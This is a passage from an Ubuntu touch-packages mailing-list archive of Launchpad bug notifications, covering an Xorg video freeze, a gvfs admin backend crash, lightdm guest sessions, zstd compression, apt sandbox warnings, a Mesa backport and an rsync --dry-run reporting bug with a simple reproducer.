  cannot restore your previous tabs". This bug happens again and again,
  each time 15 or 20 minutes after starting a video. I thought maybe it
  is a problem related to Youtube, but I tried watching a video on
  another site, DailyMotion, and the same thing happened, again after 15
  minutes.

  I didn't upgrade or add any software recently, nor change any setting.
  This thing really appeared out of a blue sky.

  Thanks for your attention,

  RB

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: xorg 1:7.7+13ubuntu3.1
  ProcVersionSignature: Ubuntu 4.4.0-210.242-generic 4.4.262
  Uname: Linux 4.4.0-210-generic i686
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.1-0ubuntu2.30
  Architecture: i386
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  CurrentDesktop: Unity
  Date: Thu Apr 22 14:53:35 2021
  DistUpgraded: Fresh install
  DistroCodename: xenial
  DistroVariant: ubuntu
  ExtraDebuggingInterest: Yes, if not too technical
  GpuHangFrequency: Continuously
  GpuHangReproducibility: Yes, I can easily reproduce it
  GpuHangStarted: Within the last week or two
  GraphicsCard:
   Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller 
[8086:2592] (rev 03) (prog-if 00 [VGA controller])
 Subsystem: IBM ThinkPad X41 [1014:0582]
 Subsystem: IBM ThinkPad X41 [1014:0582]
  InstallationDate: Installed on 2018-08-14 (982 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release i386 (20160719)
  MachineType: IBM 1875M2U
  PccardctlIdent:
   Socket 0:
 no product info available
  PccardctlStatus:
   Socket 0:
 no card
  ProcEnviron:
   LANGUAGE=fr_CA:fr
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=fr_CA.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-210-generic 
root=UUID=596f4e0f-deb0-4de7-973b-8259f928fbe9 ro quiet splash vt.handoff=7
  SourcePackage: xorg
  Symptom: display
  Title: Xorg freeze
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/29/2007
  dmi.bios.vendor: IBM
  dmi.bios.version: 70ET69WW (1.29 )
  dmi.board.name: 1875M2U
  dmi.board.vendor: IBM
  dmi.board.version: Not Available
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: IBM
  dmi.chassis.version: Not Available
  dmi.modalias: 
dmi:bvnIBM:bvr70ET69WW(1.29):bd05/29/2007:svnIBM:pn1875M2U:pvrThinkPadT43:rvnIBM:rn1875M2U:rvrNotAvailable:cvnIBM:ct10:cvrNotAvailable:
  dmi.product.name: 1875M2U
  dmi.product.version: ThinkPad T43
  dmi.sys.vendor: IBM
  version.compiz: compiz 1:0.9.12.3+16.04.20180221-0ubuntu1
  version.libdrm2: libdrm2 2.4.91-2~16.04.1
  version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~16.04.1
  version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
  version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~16.04.1
  version.xserver-xorg-core: xserver-xorg-core 2:1.18.4-0ubuntu0.12
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.1-1ubuntu2
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.7.0-1
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20160325-1ubuntu1.2
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 
1:1.0.12-1build2
  xserver.bootTime: Thu Apr 22 10:09:47 2021
  xserver.configfile: default
  xserver.errors:
   
  xserver.logfile: /var/log/Xorg.0.log
  xserver.outputs:
   
  xserver.version: 2:1.18.4-0ubuntu0.12

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1925676/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925676] [NEW] Xorg freeze

[Launchpad Bug Tracker]

You have been subscribed to a public bug:

Since a week or two, videos started to freeze on Youtube. The video jam,
the audio repeating the last quarter of a second of material, just like
an audio CD that stays hooked. At this point, the mouse and the keyboard
don't respond in any way and I have to depress the ON/OFF key and hold
it a few seconds to do a forced stop. The computer restart normally, and
Firefox open with a screen that says:"sorry we cannot restore your
previous tabs". This bug happens again and again, each time 15 or 20
minutes after starting a video. I thought maybe it is a problem related
to Youtube, but I tried watching a video on another site, DailyMotion,
and the same thing happened, again after 15 minutes.

I didn't upgrade or add any software recently, nor change any setting.
This thing really appeared out of a blue sky.

Thanks for your attention,

RB

ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: xorg 1:7.7+13ubuntu3.1
ProcVersionSignature: Ubuntu 4.4.0-210.242-generic 4.4.262
Uname: Linux 4.4.0-210-generic i686
.tmp.unity_support_test.0:
 
ApportVersion: 2.20.1-0ubuntu2.30
Architecture: i386
CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
CompositorRunning: compiz
CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
CompositorUnredirectFSW: true
CurrentDesktop: Unity
Date: Thu Apr 22 14:53:35 2021
DistUpgraded: Fresh install
DistroCodename: xenial
DistroVariant: ubuntu
ExtraDebuggingInterest: Yes, if not too technical
GpuHangFrequency: Continuously
GpuHangReproducibility: Yes, I can easily reproduce it
GpuHangStarted: Within the last week or two
GraphicsCard:
 Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller 
[8086:2592] (rev 03) (prog-if 00 [VGA controller])
   Subsystem: IBM ThinkPad X41 [1014:0582]
   Subsystem: IBM ThinkPad X41 [1014:0582]
InstallationDate: Installed on 2018-08-14 (982 days ago)
InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release i386 (20160719)
MachineType: IBM 1875M2U
PccardctlIdent:
 Socket 0:
   no product info available
PccardctlStatus:
 Socket 0:
   no card
ProcEnviron:
 LANGUAGE=fr_CA:fr
 PATH=(custom, no user)
 XDG_RUNTIME_DIR=
 LANG=fr_CA.UTF-8
 SHELL=/bin/bash
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-210-generic 
root=UUID=596f4e0f-deb0-4de7-973b-8259f928fbe9 ro quiet splash vt.handoff=7
SourcePackage: xorg
Symptom: display
Title: Xorg freeze
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 05/29/2007
dmi.bios.vendor: IBM
dmi.bios.version: 70ET69WW (1.29 )
dmi.board.name: 1875M2U
dmi.board.vendor: IBM
dmi.board.version: Not Available
dmi.chassis.asset.tag: No Asset Information
dmi.chassis.type: 10
dmi.chassis.vendor: IBM
dmi.chassis.version: Not Available
dmi.modalias: 
dmi:bvnIBM:bvr70ET69WW(1.29):bd05/29/2007:svnIBM:pn1875M2U:pvrThinkPadT43:rvnIBM:rn1875M2U:rvrNotAvailable:cvnIBM:ct10:cvrNotAvailable:
dmi.product.name: 1875M2U
dmi.product.version: ThinkPad T43
dmi.sys.vendor: IBM
version.compiz: compiz 1:0.9.12.3+16.04.20180221-0ubuntu1
version.libdrm2: libdrm2 2.4.91-2~16.04.1
version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~16.04.1
version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~16.04.1
version.xserver-xorg-core: xserver-xorg-core 2:1.18.4-0ubuntu0.12
version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.1-1ubuntu2
version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.7.0-1
version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20160325-1ubuntu1.2
version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.12-1build2
xserver.bootTime: Thu Apr 22 10:09:47 2021
xserver.configfile: default
xserver.errors:
 
xserver.logfile: /var/log/Xorg.0.log
xserver.outputs:
 
xserver.version: 2:1.18.4-0ubuntu0.12

** Affects: xorg (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: apport-bug compiz-0.9 freeze i386 ubuntu xenial
-- 
Xorg freeze
https://bugs.launchpad.net/bugs/1925676
You received this bug notification because you are a member of Ubuntu Touch 
seeded packages, which is subscribed to xorg in Ubuntu.

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1922548] Re: Error accessing Home of another user [Oops! Something went wrong. Unhandled error message: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: Unix process subject

[Sebastien Bacher]

** Changed in: nautilus (Ubuntu)
   Status: New => Invalid

** Package changed: policykit-1 (Ubuntu) => gvfs (Ubuntu)

** Summary changed:

- Error accessing Home of another user [Oops! Something went wrong. Unhandled 
error message: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: Unix 
process subject does not have uid set]
+ The admin backend is broken

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to policykit-1 in Ubuntu.
https://bugs.launchpad.net/bugs/1922548

Title:
  The admin backend is broken

Status in PolicyKit:
  Unknown
Status in gvfs package in Ubuntu:
  Fix Committed
Status in nautilus package in Ubuntu:
  Invalid

Bug description:
  On my PC I have some different users. If from one user I try to access the 
Home directory of a different user I enter the password and then I have a 
crash. Seen attached screenshot.
  Problem happens with both x11 and Wayland sessions.
  More: opening this bug I have the messages:
  corrado@corrado-n2-hh-0402:~$ ubuntu-bug -w
  ERROR: hook /usr/share/apport/general-hooks/ubuntu.py crashed:
  Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/apport/report.py", line 227, in 
_run_hook
  symb['add_info'](report, ui)
File "/usr/share/apport/general-hooks/ubuntu.py", line 84, in add_info
  apport.hookutils.attach_casper_md5check(report,
File "/usr/lib/python3/dist-packages/apport/hookutils.py", line 945, in 
attach_casper_md5check
  with open(location) as json_file:
  PermissionError: [Errno 13] Permission denied: 
'/var/log/installer/casper-md5check.json'
  corrado@corrado-n2-hh-0402:~$ [GFX1-]: glxtest: Could not connect to wayland 
socket

  ProblemType: Bug
  DistroRelease: Ubuntu 21.04
  Package: nautilus 1:3.38.2-1ubuntu1
  ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7
  Uname: Linux 5.11.0-13-generic x86_64
  ApportVersion: 2.20.11-0ubuntu61
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Mon Apr  5 12:05:27 2021
  ExecutablePath: /usr/bin/nautilus
  GsettingsChanges: b'org.gnome.nautilus.window-state' b'initial-size' b'(1137, 
611)'
  InstallationDate: Installed on 2021-04-02 (2 days ago)
  InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Beta amd64 (20210402)
  SourcePackage: nautilus
  UpgradeStatus: No upgrade log present (probably fresh install)
  usr_lib_nautilus:
   evince3.39.2-1
   file-roller   3.38.0-1
   nautilus-extension-gnome-terminal 3.38.1-1ubuntu1
   nautilus-share0.7.3-2ubuntu3

To manage notifications about this bug go to:
https://bugs.launchpad.net/policykit/+bug/1922548/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1022858] Re: Guest session asks for a password after switching users

[Jarno Suni]

Does one need to switch from guest session? Maybe it should be disabled.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1022858

Title:
  Guest session asks for a password after switching users

Status in lightdm package in Ubuntu:
  Confirmed

Bug description:
  When I switch back to an already open guest session from my user
  account, I find that the guest session is locked and it asks for the
  Guest password (which obviously there isn't because it's a guest
  session!).

  ProblemType: Bug
  DistroRelease: Ubuntu 12.04
  Package: gnome-session-bin 3.2.1-0ubuntu8
  ProcVersionSignature: Ubuntu 3.2.0-26.41-generic 3.2.19
  Uname: Linux 3.2.0-26-generic x86_64
  ApportVersion: 2.0.1-0ubuntu8
  Architecture: amd64
  Date: Tue Jul 10 09:54:55 2012
  ExecutablePath: /usr/bin/gnome-session
  InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Release amd64 
(20120425)
  ProcEnviron:
   LANGUAGE=en_GB:en
   PATH=(custom, no user)
   LANG=en_GB.UTF-8
   SHELL=/bin/bash
  SourcePackage: gnome-session
  UpgradeStatus: No upgrade log present (probably fresh install)
  XsessionErrors: (compiz:1719): GConf-CRITICAL **: gconf_client_add_dir: 
assertion `gconf_valid_key (dirname, NULL)' failed
  --- 
  ApportVersion: 2.0.1-0ubuntu17.1
  Architecture: amd64
  DistroRelease: Ubuntu 12.04
  InstallationMedia: Ubuntu 12.04.1 LTS "Precise Pangolin" - Release amd64 
(20120823.1)
  MarkForUpload: True
  Package: lightdm 1.2.1-0ubuntu1.1
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 3.2.0-36.57-generic 3.2.35
  Tags:  precise running-unity
  Uname: Linux 3.2.0-36-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1022858/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1923845] Re: Please compress packages with zstd by default

[Balint Reczey]

** Changed in: apt (Ubuntu)
   Importance: Undecided => High

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1923845

Title:
  Please compress packages with zstd by default

Status in appstream-glib package in Ubuntu:
  New
Status in apt package in Ubuntu:
  New
Status in aptly package in Ubuntu:
  New
Status in boinc package in Ubuntu:
  New
Status in busybox package in Ubuntu:
  New
Status in cdebootstrap package in Ubuntu:
  New
Status in cdist package in Ubuntu:
  New
Status in debdelta package in Ubuntu:
  New
Status in debian-el package in Ubuntu:
  New
Status in debootstrap package in Ubuntu:
  In Progress
Status in debsig-verify package in Ubuntu:
  New
Status in debsigs package in Ubuntu:
  New
Status in diffoscope package in Ubuntu:
  New
Status in dpkg package in Ubuntu:
  New
Status in dpkg-sig package in Ubuntu:
  New
Status in file package in Ubuntu:
  New
Status in libsolv package in Ubuntu:
  New
Status in lintian package in Ubuntu:
  New
Status in lutris package in Ubuntu:
  New
Status in obs-build package in Ubuntu:
  New
Status in osc package in Ubuntu:
  New
Status in radare2 package in Ubuntu:
  New
Status in reprepro package in Ubuntu:
  New
Status in vim-scripts package in Ubuntu:
  New
Status in zeroinstall-injector package in Ubuntu:
  New

Bug description:
  https://people.canonical.com/~rbalint/zstd-debs/ contains a .deb built
  on Hirsute having both data and control members of the .deb being
  compressed with zstd. It can be handy for testing various tools.

  [dpkg]
  Decompression support in dpkg landed first in Bionic and is being SRUd to 
Xenial in LP: #1764220 enable Launchpad's Xenial systems to process the 
zstd-compressed binary packages.
  From dpkg's perspective the upgrade path is cleared.

  The original plan was compressing only the internal data.tar .deb
  member, but dpkg uses uniform compression by default since dpkg 1.19.0
  thus I'm collecting all the changes to support control.tar.zst, too,
  in this bug.

  Reviewed packages from:
  https://codesearch.debian.net/search?q=data.tar.xz=1=1
  https://codesearch.debian.net/search?q=control.tar.xz=1=1

  appstream-glib  - needs fix: libappstream-builder/asb-package-deb.c
  aptly   - needs fix: deb/deb.go
  boinc   - needs fix: debian/fetch_example_applications.sh
  busybox - needs fix: archival/dpkg_deb.c archival/dpkg.c
  cdebootstrap- needs fix: src/package.c
  cdist   - may need fix, can use dpkg-deb: 
cdist/preos/debootstrap/files/devuan-debootstrap/functions
  debdelta- needs fix: debdelta debpatch.sh
  debian-el   - needs fix: deb-view.el
  debian-handbook - needs fix, maybe later, for Debian
  debootstrap - needs fix, 
https://salsa.debian.org/installer-team/debootstrap/-/merge_requests/54
  debsigs - needs fix, debsigs
  debsig-verify   - needs fix, src/debsig-verify.c
  diffoscope  - needs fix, diffoscope/comparators/deb.py
  dpkg- needs fix, change default
  dpkg-sig- needs fix, dpkg-sig
  dpmb- needs fix, maybe later, for Debian
  elfutils- may need fix, uses dpkg-deb if it is available, does not 
handle .gz either
  file- needs fix, magic/Magdir/archive
  libsolv - needs fix, ext/repo_deb.c
  lintian - needs fix malformed-deb-archive
  lutris  - needs fix, lutris/util/extract.py
  obs-build   - needs fix Build/Deb.pm
  osc - needs fix osc/util/debquery.py control.tar.zst only
  python-apt  - needs fix 
apt_inst.DebFile("glibc-doc-reference_2.33-0ubuntu2~zstd1_all.deb").control.extractall()
  radare2 - needs fix
  reprepro- needs fix, debfile.c
  vim-scripts - needs fix debPlugin/autoload/deb.vim
  winetricks  - needs fix when Debian switches src/winetricks
  zeroinstall-injector - needs fix src/zeroinstall/archive.ml

  acr - skip, does not _have to_ be fixed, just creates packages, 
see dist/deb_hand.mak
  alien   - skip, uses dpkg-deb to extract .deb
  ansible - not affected, just test data in dbdata.tar.xz
  anthy   - not affected, just changelog entry
  apt - seems fixed already
  ceph- not affected in Ubuntu's version
  circlator   - not affected, just test data
  cowdancer   - not affected, just documentation
  eccodes - skip, just orig-data.tar.xz
  eckit   - skip, just ...orig-data.tar.xz
  firefox - skip, profdata.tar.xz
  firefox-esr - skip, profdata.tar.xz
  galculator  - skip, just changelog
  grads   - skip, ...orig-data.tar.xz
  gvmd- skip, just creates xz compressed .deb
  insighttoolkit4 - skip, ...orig-data.tar.xz
  jdeb- skip, just creates compressed .deb packages
  jmol- skip, just local data archive
  jq  - skip, extracting .deb 

[Touch-packages] [Bug 1522675] Re: Warning messages about unsandboxed downloads

[Utkarsh Gupta]

Hey, still hitting this in a Hirsute VM :/

** Also affects: apt (Ubuntu Hirsute)
   Importance: Low
   Status: Fix Released

** Also affects: aptitude (Ubuntu Hirsute)
   Importance: Low
   Status: Fix Released

** Also affects: synaptic (Ubuntu Hirsute)
   Importance: Low
   Status: Triaged

** Also affects: update-notifier (Ubuntu Hirsute)
   Importance: Medium
 Assignee: Julian Andres Klode (juliank)
   Status: Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1522675

Title:
  Warning messages about unsandboxed downloads

Status in apt package in Ubuntu:
  Fix Released
Status in aptitude package in Ubuntu:
  Fix Released
Status in synaptic package in Ubuntu:
  Triaged
Status in update-notifier package in Ubuntu:
  Fix Released
Status in aptitude source package in Xenial:
  Confirmed
Status in synaptic source package in Xenial:
  Confirmed
Status in update-notifier source package in Xenial:
  Fix Released
Status in apt source package in Hirsute:
  Fix Released
Status in aptitude source package in Hirsute:
  Fix Released
Status in synaptic source package in Hirsute:
  Triaged
Status in update-notifier source package in Hirsute:
  Fix Released
Status in apt package in Debian:
  Fix Released
Status in aptitude package in Debian:
  Fix Released
Status in synaptic package in Debian:
  New

Bug description:
  READ ME FIRST
  =
  This is only a regression on a cosmetic level. Previous versions of apt did 
not have any sandboxing whatsoever, so this means apt reverted back to that old 
behavior.

  update-notifier SRU
  ---
  [Impact]
  Cosmetic. Warnings when installing packages using update-notifier downloading 
stuff

  [Test case]

  Install flashplugin-installer with apt and check that the output does
  not contain a message like this:

  W: Can't drop privileges for downloading as file '...' couldn't be
  accessed by user '_apt'

  [Regression Potential]

  It just chowns /var/lib/update-notifier/package-data-
  downloads/partial/ to _apt:root, there should not be any regression.

  Original report
  ---

  Recently we got new versions for synaptic 0.82+build1 & apt 1.1.3, but
  now get that error when installing/upgrading some packages:

  Setting up libc6-dbg:amd64 (2.21-0ubuntu5) ...
  Processing triggers for libc-bin (2.21-0ubuntu5) ...
  W: Can't drop privileges for downloading as file 
'/root/.synaptic/tmp//tmp_cl' couldn't be accessed by user '_apt'. - 
pkgAcquire::Run (13: Permission denied)

  From nautilus, i'm seeing a /root/ folder locked (x on its icon) and
  the folder is empty (no /.synaptic/ sub-folder or file), so the above
  error.

  oem@u64:~$ ls -l .synaptic
  total 4
  -rw-rw-r-- 1 oem oem   0 Aug 25 11:19 options
  -rw-rw-r-- 1 oem oem 236 Aug 25 11:19 synaptic.conf

  oem@u64:~$ ls -l /var/lib/apt/lists/
  
  -rw-r- 1 root root0 Sep 20 06:36 lock
  drwx-- 2 _apt root16384 Sep 24 15:25 partial
  ..

  oem@u64:~$ sudo ls -l /var/lib/update-notifier/package-data-downloads/
  .
  drwxr-xr-x 2 _apt root 4096 Sep 22 23:33 partial

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: synaptic 0.82+build1
  ProcVersionSignature: Ubuntu 4.3.0-1.10-generic 4.3.0
  Uname: Linux 4.3.0-1-generic x86_64
  NonfreeKernelModules: nvidia
  ApportVersion: 2.19.2-0ubuntu8
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Fri Dec  4 05:23:25 2015
  SourcePackage: synaptic
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1522675/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925381] Re: rsync conceals file deletions from reporting when --dry-run --remove-source-files are used together

[Bill Yikes]

For me the fact that the upstream repo moved from bugzilla.samba.org to
github.com is sufficient to diverge from upstream. But to each his own.

My contempt for github is in fact why I reported the bug downstream. I
will not use github but I still intended to make a public record of the
bug, hence why it's here.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsync in Ubuntu.
https://bugs.launchpad.net/bugs/1925381

Title:
  rsync conceals file deletions from reporting when --dry-run --remove-
  source-files are used together

Status in rsync package in Ubuntu:
  Triaged

Bug description:
  Rsync has an astonishing and dangerous bug:

  The dry run feature (-n / --dry-run) inhibits reporting of file
  deletions when --remove-source-files is used. This is quite serious.
  People use --dry-run to see if an outcome will work as expected before
  a live run. When the simulated run shows *less* destruction than the
  live run, the consequences can be serious because rsync may
  unexpectedly destroy the only copy(*) of a file.

  Users rely on --dry-run. Although users probably expect --dry-run to
  have limitations, we don't expect destructive operations to be under
  reported. If it were reversed, such that the live run were less
  destructive than the dry run, this wouldn't be as serious.

  Reproducer:

  $ mkdir -p /tmp/src /tmp/dest
  $ printf '%s\n' 'yada yada' > /tmp/src/foo.txt
  $ printf '%s\n' 'yada yada' > /tmp/src/bar.txt
  $ cp /tmp/src/foo.txt /tmp/dest
  $ ls /tmp/src/ /tmp/dest/
  /tmp/dest/:
  foo.txt

  /tmp/src/:
  bar.txt  foo.txt

  $ rsync -na --info=remove1 --remove-source-files --existing src/* dest/
  (no output)

  $ rsync -a --info=remove1 --remove-source-files --existing src/* dest/
  sender removed foo.txt

  $ ls /tmp/src/ /tmp/dest/
  /tmp/dest/:
  foo.txt

  /tmp/src/:
  bar.txt

  (*) note when I say it can destroy the only copy of a file, another
  circumstance is needed: that is, rsync does not do a checksum by
  default.  It checks for identical files based on superficial
  parameters like name and date.  So it's possible that two files match
  in the default superficial comparison but differ in the actual
  content.  Losing a unique file in this scenario is perhaps a rare
  corner case, but this bug should be fixed nonetheless.  In the typical
  case of losing files at the source, there is still a significant
  inconvenience of trying to identify what files to copy back.

  Note this bug is similar but differs in a few ways:
  https://bugzilla.samba.org/show_bug.cgi?id=3844

  I've marked this as a security vulnerability because it causes
  unexpected data loss due to --dry-run creating a false expectation.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/rsync/+bug/1925381/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925530] Re: Backport Metro Exodus Mesa fix into Hirsute

[AsciiWolf]

The fix will also (most likely) be included in Mesa 21.0.4 after it is
released in a week or two.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1925530

Title:
  Backport Metro Exodus Mesa fix into Hirsute

Status in One Hundred Papercuts:
  New
Status in mesa package in Ubuntu:
  New

Bug description:
  Please, consider backporting an important fix for "memory leak on
  descriptor pool reset with layout_size=0" into Ubuntu 21.04 Mesa.
  Without this fix, Metro Exodus and possibly other games cause system
  to hang or crash after playing for some time.

  Here is a MR with the fix:
  https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/10317

  It is already staged to be backported into current stable Mesa
  releases and so it should be fine to apply it as a downstream patch
  for Mesa 21.0.1 in Ubuntu Hirsute.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hundredpapercuts/+bug/1925530/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925530] [NEW] Backport Metro Exodus Mesa fix into Hirsute

[AsciiWolf]

Public bug reported:

Please, consider backporting an important fix for "memory leak on
descriptor pool reset with layout_size=0" into Ubuntu 21.04 Mesa.
Without this fix, Metro Exodus and possibly other games cause system to
hang or crash after playing for some time.

Here is a MR with the fix:
https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/10317

It is already staged to be backported into current stable Mesa releases
and so it should be fine to apply it as a downstream patch for Mesa
21.0.1 in Ubuntu Hirsute.

** Affects: hundredpapercuts
 Importance: Undecided
 Status: New

** Affects: mesa (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: hirsute

** Also affects: hundredpapercuts
   Importance: Undecided
   Status: New

** Tags added: hirsute

** Description changed:

  Please, consider backporting an important fix for "memory leak on
  descriptor pool reset with layout_size=0" into Ubuntu 21.04 Mesa.
  Without this fix, Metro Exodus and possibly other games cause system to
- hang on crash after playing for some time.
+ hang or crash after playing for some time.
  
  Here is a MR with the fix:
  https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/10317
  
  It is already staged to be backported into current stable Mesa releases
  and so it should be fine to apply it as a downstream patch for Mesa
  21.0.1 in Ubuntu Hirsute.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1925530

Title:
  Backport Metro Exodus Mesa fix into Hirsute

Status in One Hundred Papercuts:
  New
Status in mesa package in Ubuntu:
  New

Bug description:
  Please, consider backporting an important fix for "memory leak on
  descriptor pool reset with layout_size=0" into Ubuntu 21.04 Mesa.
  Without this fix, Metro Exodus and possibly other games cause system
  to hang or crash after playing for some time.

  Here is a MR with the fix:
  https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/10317

  It is already staged to be backported into current stable Mesa
  releases and so it should be fine to apply it as a downstream patch
  for Mesa 21.0.1 in Ubuntu Hirsute.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hundredpapercuts/+bug/1925530/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925381] Re: rsync conceals file deletions from reporting when --dry-run --remove-source-files are used together

[Paride Legovini]

Hello Bill and thanks for this bug report. I can see the issue you
described here (thanks for the reproducer), however I believe it should
be filed/fixed upstream. Maybe [1] should be expanded to cover --remove-
source-files, as the two issues could be related.

Diverging from upstream (or from Debian) has a long-term maintenance
cost (e.g. rebasing the patch at every release) and can lead to
situations which are difficult to handle well: think of a bug that is
later fixed upstream but in a different way, with user-facing
differences. What to do then, break compatibility with the older Ubuntu
releases, or break compatibility with upstream?

While I agree this is a bug in my opinion it is not worth diverging from
upstream here. I am setting the status of this bug report to Triaged (it
is well understood) but with importance: Wishlist.

Should you disagree with my reasoning please comment back and change the
bug status back to New, we'll look at it again. Thanks!

[1] https://bugzilla.samba.org/show_bug.cgi?id=3844

** Bug watch added: Samba Bugzilla #3844
   https://bugzilla.samba.org/show_bug.cgi?id=3844

** Changed in: rsync (Ubuntu)
   Status: New => Triaged

** Changed in: rsync (Ubuntu)
   Importance: Undecided => Wishlist

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsync in Ubuntu.
https://bugs.launchpad.net/bugs/1925381

Title:
  rsync conceals file deletions from reporting when --dry-run --remove-
  source-files are used together

Status in rsync package in Ubuntu:
  Triaged

Bug description:
  Rsync has an astonishing and dangerous bug:

  The dry run feature (-n / --dry-run) inhibits reporting of file
  deletions when --remove-source-files is used. This is quite serious.
  People use --dry-run to see if an outcome will work as expected before
  a live run. When the simulated run shows *less* destruction than the
  live run, the consequences can be serious because rsync may
  unexpectedly destroy the only copy(*) of a file.

  Users rely on --dry-run. Although users probably expect --dry-run to
  have limitations, we don't expect destructive operations to be under
  reported. If it were reversed, such that the live run were less
  destructive than the dry run, this wouldn't be as serious.

  Reproducer:

  $ mkdir -p /tmp/src /tmp/dest
  $ printf '%s\n' 'yada yada' > /tmp/src/foo.txt
  $ printf '%s\n' 'yada yada' > /tmp/src/bar.txt
